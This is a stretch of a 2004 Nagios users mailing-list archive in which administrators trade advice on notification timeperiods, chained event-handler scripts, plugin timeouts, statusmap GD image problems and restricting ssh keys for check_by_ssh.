making sure the email group runs 24x7 while the page contact group members will only run for one timeperiod (workhrs). and leave the timeperiod out of the service template entirely, also cutting out the ability to adjust service check options along with timeperiods... define service { host_name host1 service_description HTTP use service contact_group sys-admin-page, sys-admin-email check_command check_http } so then i get paged and recieve email from 8-11pm, but get email only from 11pm-8am. so i do understand that this can work, but is that as far as it will go? i started getting the hackneyed idea of using scripts to restart nagios at certain times (cron), each time pointing to appropriate set of config files. but that is just idiotic - can you imagine the tracking tools dealing with that?! so - any pointers on whether or not the sort of configuration i'm looking for is possible would be greatly appreciated. thanks, sp ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From KMueller at netsuite.com Thu Mar 25 02:50:37 2004 From: KMueller at netsuite.com (Mueller, Karl) Date: Wed, 24 Mar 2004 17:50:37 -0800 Subject: Useful handler script potentially for users Message-ID: <3A83D9BECDDF58468F068F6CA1C36AB957C239@corpmail.corp.netledger.com> Hi All, I wrote a useful Perl script 2 years ago to execute Nagios handlers which I forgot to share. I perused the Nagios source and various emails around the lists, but didn't see anything with a similar function. If there is something out there already, please let me know! I'm always interested in going more "standard" The script performs two functions: 1) Abstracts the Nagios "states" (service state, type, attempts) into a command line configuration option. This removes the need (in general) to write functionality into the other handlers to determine whether they should run during "OK" state, or just "CRITICAL", hard vs. soft, etc. I got tired of writing these into our many handler scripts. 2) Allow you to chain multiple scripts together with one handler. This is very important to us at our company. We want to, for example, run 2 debugging scripts when a service goes into a CRITICAL SOFT state, but then when it's CRITICAL HARD, restart something. Can you do this with a custom handler script? Of course, but that's a lot of work. (relatively speaking) Especially if you have many handlers and options, like we do. Let me give you two examples here using the script: define command { command_name db_snapshot_handler command_line $USER10$/handler.pl $SERVICESTATE$ $STATETYPE$ $SERVICEATTEMPT$ ,C,S,4 $USER10$/db_snapshot.pl $HOSTNAME$ ,C,S,4 $USER12$/logevent.pl source=Nagios severity=NOTIFICATION type=DBCRISISLOAD targethost=$HOSTNAME$ ,C,S,4 $USER10$/db_poke.pl -h $HOSTNAME$ -s DB_Crisis_Load ,C,H,+ $USER10$/db_snapshot.pl $HOSTNAME$ } (** I've taken the liberty of breaking out the lines to make them more clear. In the actual configuration, they are all in one line**) The first part calls the "handler.pl" script itself and gives it the current State, Type, and Attempt number. Past that, we have three triggering events: **** ,C,S,4 $USER10$/db_snapshot.pl $HOSTNAME$ The first ',' is the delimiter for a new command. This says, on a CRITICAL, SOFT state on the 4th attempt, run USER10$/db_snapshot.pl $HOSTNAME$ **** ,C,S,4 $USER12$/logevent.pl source=Nagios severity ..... On CRITICAL, SOFT on the 4th Attempt, run this command. In the case of two or more commands that run, they run in serial. The script does not currently check exit status or that kind of thing. (It was just a simple thing, really) **** ,C,S,4 $USER10$/db_poke.pl -h $HOSTNAME$ -s DB_Crisis ..... Again, same states as before, run a "db_poke.pl" script with options. So on this state, it will run three things in succession. Of course, all three have to complete before Nagios whacks them based on its own timeouts. Here is another example: define command { command_name oc4j_pokerestart command_line $USER10$/handler.pl $SERVICESTATE$ $STATETYPE$ $SERVICEATTEMPT$ ,C,H,+ $USER10$/oc4j_restart.pl -s Unknown $HOSTNAME$ ,CW,S,+ $USER10$/oc4j_poke.pl -s Unknown -h $HOSTNAME$ } Let's examine the criteria: **** ,C,H,+ $USER10$/oc4j_restart.pl -s Unknown $HOSTNAME$ This says on CRITICAL, HARD and ANY Attempt #, run the restart script. Of course, there is only ONE 'hard' event handler called, so this is safe. **** ,CW,S,+ $USER10$/oc4j_poke.pl -s Unknown -h $HOSTNAME$ On CRITICAL or WARNING, SOFT, and ANY attempt number, run this script. Obviously, it will run "N - 1" iterations of this, where N is your number of checks that fail before entering a hard state. (In our configuration, N = 3, so oc4j_poke.pl will execute twice) The script is not meant to be complicated or have a lot of features. There are some shortcomings: 1) Uses "system()" in perl - This may cause sub-shell spawns depending on what you call. 2) Is written in Perl - If you have lots of service state changes, or have performance issues, this may not be speedy enough for you. We've had no performance issues, though, in our configuration. 3) Long command lines/complicated chains/etc. - These sorts of things are probably still handled by custom scripts. Is there a better or standard way to do this? I could not find any. You can find a copy of this script here: http://www.xney.com/handler.txt -Karl -------------- next part -------------- An HTML attachment was scrubbed... URL: From neil-on-nagios at restricted.dyndns.org Thu Mar 25 08:26:10 2004 From: neil-on-nagios at restricted.dyndns.org (Neil) Date: Thu, 25 Mar 2004 01:26:10 -0600 Subject: email alert only after duration Message-ID: <20040325072610.16312.qmail@restricted.dyndns.org> Hey guys. I am currently monitoring cpu utilization. How will I configure nagios so that when cpu utilization hits at 80% continuously after 3 or 5 minutes, nagios will only send an email alert if it notices that cpu utilization was consistenly above 80% for more than 3 minutes? Thanks in advance. Neil ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Ton.Voon at egg.com Thu Mar 25 08:27:11 2004 From: Ton.Voon at egg.com (Voon, Ton) Date: Thu, 25 Mar 2004 07:27:11 -0000 Subject: Last ditch effort Message-ID: I sympathise. In our company, I was getting a lot of these timeouts. Doing a continuous snoop on our Nagios server with a random server showed that the Nagios server had made a check_nrpe request, but the target did not respond. The Nagios server then sent a followup packet after 10 seconds when the target responded almost immediately. I don't know where this 10 second network retry setting is held (running on Solaris 5.6), but I am blaming sporadic network problems, which unfortunately is outside of my remit. I have set as many plugins to timeout after 30 seconds instead for less failures. Ton -----Original Message----- From: Aaron Levitt [mailto:alevitt at navis.com] Sent: Wednesday, March 24, 2004 4:22 PM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] Last ditch effort Greets everyone- I already posted this question already before, but never got to a solution. I wanted to post one last time in hopes I come up with a solution before I am forced to go back to netsaint. I have recently upgraded to nagios 1.1 from an older release of netsaint after a long time of faithful service. Since the upgrade, we have been getting some random timeouts, with an average of 1 or 2 a day. All the information I really have to go on, is the output from nagios. The mail contains "Info: CRITICAL - Plugin timed out after 10 seconds". The logs have the same information, but nothing more helpful. I'm not sure where it's getting the 10 seconds from. Initially I thought it was nrpe timing out, but it seems to be random services and hosts as well. So far, I have changed max_concurrent_checks and various timeout values in nagios.cfg. As well as changing max_check_attempts and normal_check_interval to make sure there wasn't too much going on at the same time (which really shouldn't matter since nagios is only monitoring about 60 hosts). I poked through the source code but couldn't find anything with a 10 second timeout. Currently nagios is running on it's own box, no other services are running on it. It's a 2.4.20 kernel on Redhat 9 and the hardware is a PIII 800Mhz and it's got 384Mb of RAM. Nothing very special, but that should be enough I would think. All of these false alarms are making nagios completely unreliable, but it has so many new enhancements, I would really like to continue to use it. If anyone has any suggestions, please send them my way. Any help would be greatly appreciated. Thanks in advance. -=Aaron ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null This private and confidential e-mail has been sent to you by Egg. The Egg group of companies includes Egg Banking plc (registered no. 2999842), Egg Financial Products Ltd (registered no. 3319027) and Egg Investments Ltd (registered no. 3403963) which is authorised and regulated by the Financial Services Authority. Egg Investments Ltd. is entered in the FSA register under number 190518. Registered in England and Wales. Registered offices: 1 Waterhouse Square, 138-142 Holborn, London EC1N 2NA. If you are not the intended recipient of this e-mail and have received it in error, please notify the sender by replying with 'received in error' as the subject and then delete it from your mailbox. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From fredrik.wanglund at mobeon.com Thu Mar 25 09:18:41 2004 From: fredrik.wanglund at mobeon.com (=?ISO-8859-1?Q?Fredrik_W=E4nglund?=) Date: Thu, 25 Mar 2004 09:18:41 +0100 Subject: email alert only after duration In-Reply-To: <20040325072610.16312.qmail@restricted.dyndns.org> References: <20040325072610.16312.qmail@restricted.dyndns.org> Message-ID: <406295E1.7030709@mobeon.com> You can use the parameters 'retry_check_interval' and 'max_check_attempts'. If, for example 'retry_check_interval' is set to 1 and 'max_check_attempts' is set to 3, the alert will be delayed three minutes (The CPU-load must results in a warning or critical state during the whole period) /FredrikW Neil wrote: > Hey guys. I am currently monitoring cpu utilization. How will I > configure nagios so that when cpu utilization hits at 80% continuously > after 3 or 5 minutes, nagios will only send an email alert if it notices > that cpu utilization was consistenly above 80% for more than 3 minutes? > Thanks in advance. > Neil > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. ::: Messages without supporting info will risk > being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From mikko.kaipila at nic.fi Thu Mar 25 10:35:57 2004 From: mikko.kaipila at nic.fi (Mikko Kaipila) Date: 25 Mar 2004 11:35:57 +0200 Subject: statusmap, weird problem In-Reply-To: <20040324235338.15286.qmail@minnow.softflare.net> References: <1080125876.7208.1.camel@rento.seclan.com> <20040324185954.15010.qmail@minnow.softflare.net> <1080156484.2833.14.camel@rento.seclan.com> <20040324235338.15286.qmail@minnow.softflare.net> Message-ID: <1080207357.1341.64.camel@kulaka.seclan.com> On Thu, 2004-03-25 at 01:53, Paul L. Allen wrote: > Mikko Kaipila writes: > > > Not helps. But that helped a little bit. > > Does that mean you tried my suggestion and it didn't fix things? > > > I can't see gd2 images anywhere under nagios web-interface. Only jpeg > > and png images are displayd by nagios. > > The only two possibilities I know of are either that the CGIs didn't > find the GD library when you built them or that you're using images > built using a different version of GD which have an incompatible file > format. You can use ldd to double-check that the CGIs did pick up the > shareable GD library. ldd statusmap.cgi libgd.so.2 => /usr/local/lib/libgd.so.2 (0x40018000) libz.so.1 => /usr/lib/libz.so.1 (0x40059000) libm.so.6 => /lib/libm.so.6 (0x4006a000) libpng12.so.0 => /usr/lib/libpng12.so.0 (0x4008d000) libjpeg.so.62 => /usr/lib/libjpeg.so.62 (0x400b1000) libc.so.6 => /lib/libc.so.6 (0x400cf000) libXpm.so.4 => /usr/X11R6/lib/libXpm.so.4 (0x40202000) libX11.so.6 => /usr/X11R6/lib/libX11.so.6 (0x40211000) libfreetype.so.6 => /usr/lib/libfreetype.so.6 (0x402d8000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) libdl.so.2 => /lib/libdl.so.2 (0x40346000) is that right? I have used http://www.boutell.com/gd/ libaries to building gd-support. I have tried to convert images with help of pngtogd2 (which came when I installed that gd-2.0.22 libraries and binaries) Still no help :( Im getting laugh soon... ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From chenoi_a at yahoo.com Thu Mar 25 10:42:52 2004 From: chenoi_a at yahoo.com (chenoi A) Date: Thu, 25 Mar 2004 01:42:52 -0800 (PST) Subject: /usr/local/nagios/var/rw/nagios.cmd could not create Message-ID: <20040325094252.87922.qmail@web60507.mail.yahoo.com> Error: Could not create external command file '/usr/local/nagios/var/rw/nagios.cmd' as named pipe: (2) -> No such file or directory. If this file already exists and you are sure that another copy of Nagios is not running, you should delete this file. Why i got this message in my nagios.log. i can only view the nagios interface (general).The rest of the menu when i clik it will show ,Error: Could not read host and service status information! please someone help me. TQ __________________________________ Do you Yahoo!? Yahoo! Finance Tax Center - File online. File on time. http://taxes.yahoo.com/filing.html ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Thu Mar 25 11:05:14 2004 From: ae at op5.se (Andreas Ericsson) Date: Thu, 25 Mar 2004 11:05:14 +0100 Subject: check_by_ssh question In-Reply-To: References: Message-ID: <4062AEDA.4080000@op5.se> Matt Pounsett wrote: > On Wed, 24 Mar 2004, Andreas Ericsson wrote: > > >>If you get hacked someplace, you're network is dead and there's nothing >>you can do about it. > > > Well.. assuming it was all intelligently configured, this is overstating > things significantly. It's quite easy to limit one's passwordless ssh keys to > ONLY run certain commands, and to prevent the invocation of shells and so > forth, thus preventing those keys from being used to invade other machines. > Didn't know about the commands bit. How does that work? As for the shell; disable it and you won't get much checking done since SSH forks a shell to take care of the command you want to. -- Mvh / Best regards Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jrhett at isite.net Thu Mar 25 11:10:40 2004 From: jrhett at isite.net (Joe Rhett) Date: Thu, 25 Mar 2004 02:10:40 -0800 Subject: host up as reply to host down? In-Reply-To: <1079987765.2662.16.camel@sabaki.dcs.uci.edu> References: <1079987765.2662.16.camel@sabaki.dcs.uci.edu> Message-ID: <20040325101039.GA3582@isite.net> I know this really doesn't answer your question, but why are you putting up with this? Are your legitimately down this often, or do you have issues with your monitoring? If they are legitimately down often (and that's okay) why don't you back off your notifications so that you don't get an e-mail unless it's been down for 2 or 3 intervals? On Mon, Mar 22, 2004 at 12:36:05PM -0800, Dan Stromberg wrote: > When I get a host down warning, I've found myself tending to ignore it > as I go through my mailbox, because often there's a host up notice > shortly thereafter. So I try to keep in mind that there was a host down > warning for this, that and the other machine, and take action if I don't > see a corresponding host up notice. > > However, if my mailbox is large enough that day (and my mailbox is > normally full of new messages), there's a non-0 chance I'll forget that > I never saw a host up notice corresponding to some host down warning. > > So my question is, what would it take to make nagios' host up notices be > sent as replies to host down warnings in a way that would allow mutt, > evolution, and other threaded mailreaders to put the two mail messages > right next to each other in my (and your) mailbox like your usual > threaded discussion? > > -- > Dan Stromberg DCS/NACS/UCI > -- Joe Rhett Chief Geek JRhett at Isite.Net Isite Services, Inc. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jrhett at isite.net Thu Mar 25 11:20:48 2004 From: jrhett at isite.net (Joe Rhett) Date: Thu, 25 Mar 2004 02:20:48 -0800 Subject: Special notifications handling in Nagios In-Reply-To: References: Message-ID: <20040325102048.GB3582@isite.net> I really don't see any problem with most of this. All you need to do is set up the proper intersection of notification times for the hosts and the contacts. The only gotcha is ... > at 1:00, then 'up state' notification will be sent at 7:00 Uh.. nobody (no process) is going to hang around for 6 hours and wait to send you a notification. Really. Notifications are either sent or not at the time they are conceived :-( Now you can tune this using the notification options so that you don't get the notifications at night, but you get them in e-mail so that you can review them in the morning, but they didn't interrupt your sleep. All sorts of flexibility here. On Wed, Mar 24, 2004 at 11:23:27AM +0100, Petr Simek wrote: > Hello, > > I want ask if is possible to configure contact with some special features > in nagios. I want send notifications according this schema : > > - notifications are sent only between 7:00-23:00 > - first notification is sent 15mins after down state unless connection > to the service or host isn`t restored in 15mins after down state. > - second notification is sent immediately when service or host goes > to up state. > - if 'down state' notification was sent at 22:00 and service goes up > at 1:00, then 'up state' notification will be sent at 7:00 > - if service goes down at 2:00, then 'down state' will be sent at 7:00 > - if service goes down at 2:00 and goes up at 5:00 no notifications > will be sent. > > I had no idea how to configure conditioned delay for 'down state' > notifications. When I define hours for contact when notifications can > be sent, then I loose messages sent in the denied hours. > > It is possible to achieve this requirements natively in Nagios without > special external email filter ? > > > *------------------------------------------------------------------------* > | Petr Simek APS JU | > | psimek at jcu.cz | > *------------------------------------------------------------------------* > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null -- Joe Rhett Chief Geek JRhett at Isite.Net Isite Services, Inc. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jim.mozley at exponential-e.com Thu Mar 25 11:30:36 2004 From: jim.mozley at exponential-e.com (Jim Mozley) Date: Thu, 25 Mar 2004 10:30:36 +0000 Subject: /usr/local/nagios/var/rw/nagios.cmd could not create In-Reply-To: <20040325094252.87922.qmail@web60507.mail.yahoo.com> References: <20040325094252.87922.qmail@web60507.mail.yahoo.com> Message-ID: <4062B4CC.5000507@exponential-e.com> chenoi A wrote: > Error: Could not create external command file > '/usr/local/nagios/var/rw/nagios.cmd' as named pipe: > (2) -> No such file or directory. If this file > already exists and you are sure that another copy of > Nagios is not running, you should delete this file. > > Why i got this message in my nagios.log. i can only > view the nagios interface (general).The rest of the > menu when i clik it will show ,Error: Could not read > host and service status information! > > please someone help me. It sounds like you have a permission problem. Is this a new Nagios installation? Are the files/directories owned by the nagios user and group? Jim Mozley ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Thu Mar 25 11:55:36 2004 From: pla at softflare.com (Paul L. Allen) Date: Thu, 25 Mar 2004 10:55:36 +0000 Subject: statusmap, weird problem In-Reply-To: <1080207357.1341.64.camel@kulaka.seclan.com> References: <1080125876.7208.1.camel@rento.seclan.com> <20040324185954.15010.qmail@minnow.softflare.net> <1080156484.2833.14.camel@rento.seclan.com> <20040324235338.15286.qmail@minnow.softflare.net> <1080207357.1341.64.camel@kulaka.seclan.com> Message-ID: <20040325105537.31346.qmail@minnow.softflare.net> Mikko Kaipila writes: > ldd statusmap.cgi [...] > is that right? Looks OK to me. > I have used http://www.boutell.com/gd/ libaries to > building gd-support. If GD didn't come with your distro, that's the place to get it from. > I have tried to convert images with help of pngtogd2 (which came when I > installed that gd-2.0.22 libraries and binaries) That is the right thing to do to ensure that the images match the version of GD that you're running. > Still no help I don't know of anything else that could be causing the problem. Apart from the blindingly obvious stuff - are the gd2 images in /usr/local/nagios/share/images/logos/? Other than that, there's the very unlikely possibility that there's something about your PNGs that is confusing pngtogd2 - get one of the image packs from the Nagios extras and try converting the PNGs from that. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Thu Mar 25 13:47:26 2004 From: pla at softflare.com (Paul L. Allen) Date: Thu, 25 Mar 2004 12:47:26 +0000 Subject: multiple timeperiods, same service check In-Reply-To: References: Message-ID: <20040325124726.18078.qmail@minnow.softflare.net> Shirley writes: > so - any pointers on whether or not the sort of configuration i'm looking > for is possible would be greatly appreciated. I don't know if it's possible or not. But if it's not, you could always change the notify-by-epager command to call a custom script and pass the custom script the same parameters. Your custom script can then contain any logic you want to do anything you want. It's not ideal because it means you have duplicated configuration info, but if you can't get Nagios to do what you want then it is a solution. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jeff at bofus.org Thu Mar 25 14:47:59 2004 From: jeff at bofus.org (Jeffery P. Humes) Date: Thu, 25 Mar 2004 07:47:59 -0600 Subject: /usr/local/nagios/var/rw/nagios.cmd could not create In-Reply-To: <20040325094252.87922.qmail@web60507.mail.yahoo.com> References: <20040325094252.87922.qmail@web60507.mail.yahoo.com> Message-ID: <4062E30F.2050609@bofus.org> An HTML attachment was scrubbed... URL: From benny at bennyvision.com Thu Mar 25 15:14:07 2004 From: benny at bennyvision.com (C. Bensend) Date: Thu, 25 Mar 2004 08:14:07 -0600 (CST) Subject: check_by_ssh question In-Reply-To: <4062AEDA.4080000@op5.se> References: <4062AEDA.4080000@op5.se> Message-ID: <51434.63.227.74.41.1080224069.squirrel@webmail.stinkweasel.net> > Didn't know about the commands bit. How does that work? Check out the man page for sshd(8), assuming you're running OpenSSH. Look for the section named "AUTHORIZED_KEYS FILE FORMAT" - it details the exact controls you're looking for. You can restrict access to certain hosts, to certain commands, etc. Benny -- "Ohhh, it's like I'm walking on a pile of baby ducks!" -- Red, "That 70's Show" ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From peter.gutmann at db.com Thu Mar 25 15:50:26 2004 From: peter.gutmann at db.com (Peter Gutmann) Date: Thu, 25 Mar 2004 09:50:26 -0500 Subject: statusmap, weird problem Message-ID: I too am having the same problem with the status map page in release 1.2. I have recompled the gd libraries as you previously suggested, and according to ldd pngtogd2 is using the correct libraries. Any other thoughts? Peter ---- Peter Gutmann Peter.Gutmann at db.com "Paul L. Allen" Sent by: nagios-users-admin at lists.sourceforge.net 03/25/2004 05:55 AM To: Mikko Kaipila cc: nagios-users at lists.sourceforge.net Subject: [Nagios-users] Re: statusmap, weird problem Mikko Kaipila writes: > ldd statusmap.cgi [...] > is that right? Looks OK to me. > I have used http://www.boutell.com/gd/ libaries to > building gd-support. If GD didn't come with your distro, that's the place to get it from. > I have tried to convert images with help of pngtogd2 (which came when I > installed that gd-2.0.22 libraries and binaries) That is the right thing to do to ensure that the images match the version of GD that you're running. > Still no help I don't know of anything else that could be causing the problem. Apart from the blindingly obvious stuff - are the gd2 images in /usr/local/nagios/share/images/logos/? Other than that, there's the very unlikely possibility that there's something about your PNGs that is confusing pngtogd2 - get one of the image packs from the Nagios extras and try converting the PNGs from that. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From hugo.rebello at DHL.com Thu Mar 25 15:25:29 2004 From: hugo.rebello at DHL.com (Hugo Rebello) Date: Thu, 25 Mar 2004 11:25:29 -0300 Subject: problem with router monitor Message-ID: Hello Guys, Any body help me ? Today I use the follow command to monitor my routers by snmp: check_ifstatus -H ip_address -C snmp_community However I check only the interface, with this command I can?t monitor if the protocol is up or not. Thank you. Best Regards, Hugo ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Thu Mar 25 16:12:19 2004 From: pla at softflare.com (Paul L. Allen) Date: Thu, 25 Mar 2004 15:12:19 +0000 Subject: statusmap, weird problem In-Reply-To: References: Message-ID: <20040325151219.18995.qmail@minnow.softflare.net> Peter Gutmann writes: > I too am having the same problem with the status map page in release 1.2. I'm still running 1.1 because I'm waiting until 1.2 has stabilized. It works for me with 1.1 with all layout methods except user-defined co-ordinates, but they do work for other people. Could it be a bug in 1.2 - I can't remember what version the other guy was running. Could it be the flavour of *nix you're using? I suggest the two of you ought to compare details and see what common factors there are then post those common factors to the list. You could try replacing libgd with an earlier version in case something has changed that stops Nagios working. The box I'm running Nagios on has 1.8.4. If you have the spare time, you could also try installing 1.1 somewhere to see if that fixes it. I doubt it because there are quite a few other people using 1.2 who don't have this problem, but they may be using a different flavour of *nix. If none of that helps, your final option is to replace statusmap.cgi with the unstripped copy that is in the source directory and run it under gdb to see where it falls over. But it probably won't tell you anything that will let you figure out how to fix the problem. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From afarrer at africonnect.com Thu Mar 25 16:43:09 2004 From: afarrer at africonnect.com (Alex Farrer) Date: Thu, 25 Mar 2004 15:43:09 +0000 Subject: Installation guide Message-ID: 